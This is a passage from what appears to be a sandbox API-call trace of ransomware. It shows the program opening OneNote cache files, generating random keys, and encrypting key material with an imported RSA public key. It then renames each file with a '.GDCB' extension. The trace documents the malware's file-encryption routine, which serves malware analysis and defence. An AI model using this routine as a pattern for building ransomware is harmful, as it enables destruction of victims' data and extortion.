Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\00000006.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\00000006.bin"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\00000006.bin.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\00000006.bin.gdcb")) returned 1 [0183.529] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0183.530] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0183.531] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0183.531] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0183.531] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0183.531] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4540) returned 1 [0183.533] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0183.533] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0183.533] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0183.533] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0183.534] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0183.536] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f815d8) returned 1 [0183.536] CryptGetKeyParam (in: hKey=0x4f815d8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0183.536] CryptEncrypt (in: hKey=0x4f815d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b40000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5b40000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0183.536] GetLastError () returned 0x0 [0183.536] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0183.536] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0183.538] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f816d8) returned 1 [0183.538] CryptGetKeyParam (in: hKey=0x4f816d8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0183.538] CryptEncrypt (in: hKey=0x4f816d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b50000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5b50000*, pdwDataLen=0x285d120*=0x100) returned 1 [0183.538] GetLastError () returned 0x0 [0183.538] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0183.538] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\00000007.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\00000007.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0183.540] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5b60000 [0183.542] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5b70000 [0183.543] ReadFile (in: hFile=0x518, lpBuffer=0x5b70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5b70000*, lpNumberOfBytesRead=0x285d160*=0x8b8, lpOverlapped=0x0) returned 1 [0183.555] VirtualAlloc (lpAddress=0x0, dwSize=0x8c0, flAllocationType=0x3000, flProtect=0x4) returned 0x5c80000 [0183.560] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\00000007.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\00000007.bin"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\00000007.bin.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\00000007.bin.gdcb")) returned 1 [0183.565] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0183.566] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0183.567] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0183.567] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0183.567] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0183.567] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0183.569] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0183.569] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0183.569] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0183.569] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0183.570] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0183.572] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f81a58) returned 1 [0183.572] CryptGetKeyParam (in: hKey=0x4f81a58, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0183.572] CryptEncrypt (in: hKey=0x4f81a58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b40000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5b40000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0183.572] GetLastError () returned 0x0 [0183.573] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0183.573] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4540) returned 1 [0183.599] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f81b98) returned 1 [0183.599] CryptGetKeyParam (in: hKey=0x4f81b98, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0183.599] CryptEncrypt (in: hKey=0x4f81b98, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b50000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5b50000*, pdwDataLen=0x285d120*=0x100) returned 1 [0183.600] GetLastError () returned 0x0 [0183.600] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0183.600] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\00000008.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\00000008.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0183.602] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5b60000 [0183.603] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5b70000 [0183.604] ReadFile (in: hFile=0x518, lpBuffer=0x5b70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5b70000*, lpNumberOfBytesRead=0x285d160*=0xe5f, lpOverlapped=0x0) returned 1 [0183.614] VirtualAlloc (lpAddress=0x0, dwSize=0xe60, flAllocationType=0x3000, flProtect=0x4) returned 0x5c80000 [0183.619] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\00000008.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\00000008.bin"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\00000008.bin.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\00000008.bin.gdcb")) returned 1 [0183.626] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0183.628] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0183.628] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0183.628] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0183.628] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0183.629] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0183.630] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0183.631] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0183.631] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0183.631] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0183.631] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0183.633] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f81958) returned 1 [0183.633] CryptGetKeyParam (in: hKey=0x4f81958, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0183.633] CryptEncrypt (in: hKey=0x4f81958, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b40000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5b40000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0183.634] GetLastError () returned 0x0 [0183.634] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0183.634] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0183.636] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f81bd8) returned 1 [0183.636] CryptGetKeyParam (in: hKey=0x4f81bd8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0183.636] CryptEncrypt (in: hKey=0x4f81bd8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b50000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5b50000*, pdwDataLen=0x285d120*=0x100) returned 1 [0183.636] GetLastError () returned 0x0 [0183.636] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0183.636] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\00000009.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\00000009.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0183.638] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5b60000 [0183.639] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5b70000 [0183.640] ReadFile (in: hFile=0x518, lpBuffer=0x5b70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5b70000*, lpNumberOfBytesRead=0x285d160*=0x32e6, lpOverlapped=0x0) returned 1 [0183.650] VirtualAlloc (lpAddress=0x0, dwSize=0x32f0, flAllocationType=0x3000, flProtect=0x4) returned 0x5c80000 [0183.655] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\00000009.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\00000009.bin"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\00000009.bin.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\00000009.bin.gdcb")) returned 1 [0183.660] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0183.661] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0183.662] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0183.662] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0183.662] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0183.662] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0183.664] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0183.665] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0183.665] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0183.665] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0183.665] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0183.667] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f81998) returned 1 [0183.667] CryptGetKeyParam (in: hKey=0x4f81998, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0183.667] CryptEncrypt (in: hKey=0x4f81998, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b40000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5b40000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0183.667] GetLastError () returned 0x0 [0183.668] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0183.668] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0183.670] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f81c58) returned 1 [0183.670] CryptGetKeyParam (in: hKey=0x4f81c58, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0183.670] CryptEncrypt (in: hKey=0x4f81c58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b50000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5b50000*, pdwDataLen=0x285d120*=0x100) returned 1 [0183.670] GetLastError () returned 0x0 [0183.670] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0183.670] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000000C.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000000c.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0183.672] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5b60000 [0183.674] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5b70000 [0183.675] ReadFile (in: hFile=0x518, lpBuffer=0x5b70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5b70000*, lpNumberOfBytesRead=0x285d160*=0x150a, lpOverlapped=0x0) returned 1 [0183.684] VirtualAlloc (lpAddress=0x0, dwSize=0x1510, flAllocationType=0x3000, flProtect=0x4) returned 0x5c80000 [0183.688] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000000C.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000000c.bin"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000000C.bin.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000000c.bin.gdcb")) returned 1 [0183.693] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0183.695] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0183.695] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0183.695] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0183.695] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0183.695] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0183.697] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0183.697] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0183.697] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0183.697] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0183.698] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0183.700] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f81718) returned 1 [0183.700] CryptGetKeyParam (in: hKey=0x4f81718, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0183.700] CryptEncrypt (in: hKey=0x4f81718, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b40000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5b40000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0183.700] GetLastError () returned 0x0 [0183.700] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0183.700] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0183.702] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f81a98) returned 1 [0183.704] CryptGetKeyParam (in: hKey=0x4f81a98, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0183.704] CryptEncrypt (in: hKey=0x4f81a98, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b50000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5b50000*, pdwDataLen=0x285d120*=0x100) returned 1 [0183.704] GetLastError () returned 0x0 [0183.704] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0183.704] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000000D.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000000d.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0183.706] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5b60000 [0183.707] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5b70000 [0183.708] ReadFile (in: hFile=0x518, lpBuffer=0x5b70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5b70000*, lpNumberOfBytesRead=0x285d160*=0x1cce, lpOverlapped=0x0) returned 1 [0183.717] VirtualAlloc (lpAddress=0x0, dwSize=0x1cd0, flAllocationType=0x3000, flProtect=0x4) returned 0x5c80000 [0183.722] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000000D.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000000d.bin"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000000D.bin.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000000d.bin.gdcb")) returned 1 [0183.739] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0183.741] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 